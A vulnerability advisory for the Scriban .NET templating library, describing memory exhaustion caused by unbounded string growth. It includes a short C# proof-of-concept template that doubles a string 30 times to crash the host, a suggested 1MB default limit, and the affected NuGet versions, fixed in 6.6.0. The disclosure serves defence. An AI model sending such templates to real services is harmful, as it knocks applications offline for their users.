Advisory

GHSA-5rpf-x9jg-8j5p

Also known as: None

Summary

Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service)

Details

TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.

Proof of Concept (PoC):
The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.

using Scriban;

string maliciousTemplate =
    @"
        {{
            a = ""A""
            for i in 1..30
                a = a + a
            end
            a
        }}";

var template = Template.Parse(maliciousTemplate);

var context = new TemplateContext();

try
{
    template.Render(context);
}
catch (Exception ex)
{
    Console.WriteLine("\nException: " + ex.Message);
}

Impact:
An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).

Suggested Fix:
Enforce a sensible default limit for string output. Set default LimitToString to 1MB (1,048,576 characters).

public int LimitToString { get; set; } = 1048576; 

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-03-19 21:31 UTC
Modified
2026-07-06 13:15 UTC

Affected packages and fixes

scriban

NuGet · All systems

Affected

  • introduced 0, fixed 6.6.0 (ecosystem)

Fixed versions

6.6.0

Fix

The export has no generic command for this ecosystem.

Scriban.Signed

NuGet · All systems

Affected

  • introduced 0, fixed 6.6.0 (ecosystem)

Fixed versions

6.6.0

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences